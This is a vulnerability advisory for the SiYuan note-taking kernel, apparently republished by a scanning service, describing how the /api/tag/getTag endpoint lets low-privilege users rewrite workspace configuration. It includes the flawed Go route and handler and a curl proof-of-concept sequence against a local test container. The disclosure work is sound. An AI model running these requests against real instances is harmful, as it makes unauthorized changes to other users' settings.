| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| github.com/siyuan-note/siyuan/kernel | < 0.0.0-20260512140701-d7b77d945e0d | 0.0.0-20260512140701-d7b77d945e0d |
POST /api/tag/getTag is registered with model.CheckAuth only, omitting both model.CheckAdminRole and model.CheckReadonly, despite the handler performing a configuration write that is normally guarded by both. Any authenticated user — including publish-service RoleReader accounts and RoleEditor accounts on a read-only workspace — can call this endpoint with a sort argument to mutate model.Conf.Tag.Sort and trigger model.Conf.Save(), which atomically rewrites the entire workspace conf.json.
Same root-cause class as the patched GHSA-4j3x-hhg2-fm2x (which fixed missing CheckAdminRole + CheckReadonly on /api/template/renderSprig).
Affected files / lines (v3.6.5):
kernel/api/router.go:170 — only CheckAuth:
ginServer.Handle("POST", "/api/tag/getTag", model.CheckAuth, getTag)
// Compare the sibling registrations on the next two lines, which DO gate writes:
ginServer.Handle("POST", "/api/tag/renameTag", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renameTag)
ginServer.Handle("POST", "/api/tag/removeTag", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, removeTag)
kernel/api/tag.go:28-64 — handler. The if nil != arg["sort"] block writes config without any role check:
func getTag(c *gin.Context) {
ret := gulu.Ret.NewResult()
defer c.JSON(http.StatusOK, ret)
arg, ok := util.JsonArg(c, ret)
if !ok { return }
...
if nil != arg["sort"] { // ← unauthorized write path
sortVal, ok := util.ParseJsonArg[float64]("sort", arg, ret, true, false)
if !ok { return }
model.Conf.Tag.Sort = int(sortVal)
model.Conf.Save() // persists entire conf to <workspace>/conf/conf.json
}
...
}
Conf.Save() rewrites the entire configuration file, which means a malicious caller racing with a legitimate config change can roll back another user's setting (TOCTOU on the global config object).
Same Docker setup as Advisory 1.
# 1. Authenticate (any role with CheckAuth pass — admin used here for convenience).
curl -s -c /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/loginAuth \
-H 'Content-Type: application/json' -d '{"authCode":"audittest"}' >/dev/null
# 2. Read current Conf.Tag.Sort.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \
-H 'Content-Type: application/json' -d '{}' \
| python3 -c "import json,sys;print('Conf.Tag.Sort BEFORE =',json.load(sys.stdin)['data']['conf']['tag']['sort'])"
# → Conf.Tag.Sort BEFORE = 4
# 3. Mutate via the read-style endpoint.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/tag/getTag \
-H 'Content-Type: application/json' -d '{"sort": 7}'
# → {"code":0,"msg":"","data":[]}
# 4. Confirm in-memory.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \
-H 'Content-Type: application/json' -d '{}' \
| python3 -c "import json,sys;print('Conf.Tag.Sort AFTER =',json.load(sys.stdin)['data']['conf']['tag']['sort'])"
# → Conf.Tag.Sort AFTER = 7
# 5. Confirm persisted to disk inside the container.
docker exec siyuan-audit grep -o 'sort":[0-9]*' /siyuan/workspace/conf/conf.json
# → sort":7
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíThe vulnerability is exposed to publish-mode RoleReader (default for any anonymous publish visitor) and to RoleEditor users on workspaces where the administrator has set Editor.ReadOnly = true.
Limited direct damage — the writable field is only the tag display sort order. The pattern is concerning because:
GHSA-4j3x-hhg2-fm2x was meant to flag broadly (missing CheckAdminRole + CheckReadonly on a read-style endpoint that performs writes); each occurrence has to be patched individually.Conf.Save() rewrites the whole file, so a write-race during a legitimate configuration change can overwrite unrelated user-set values.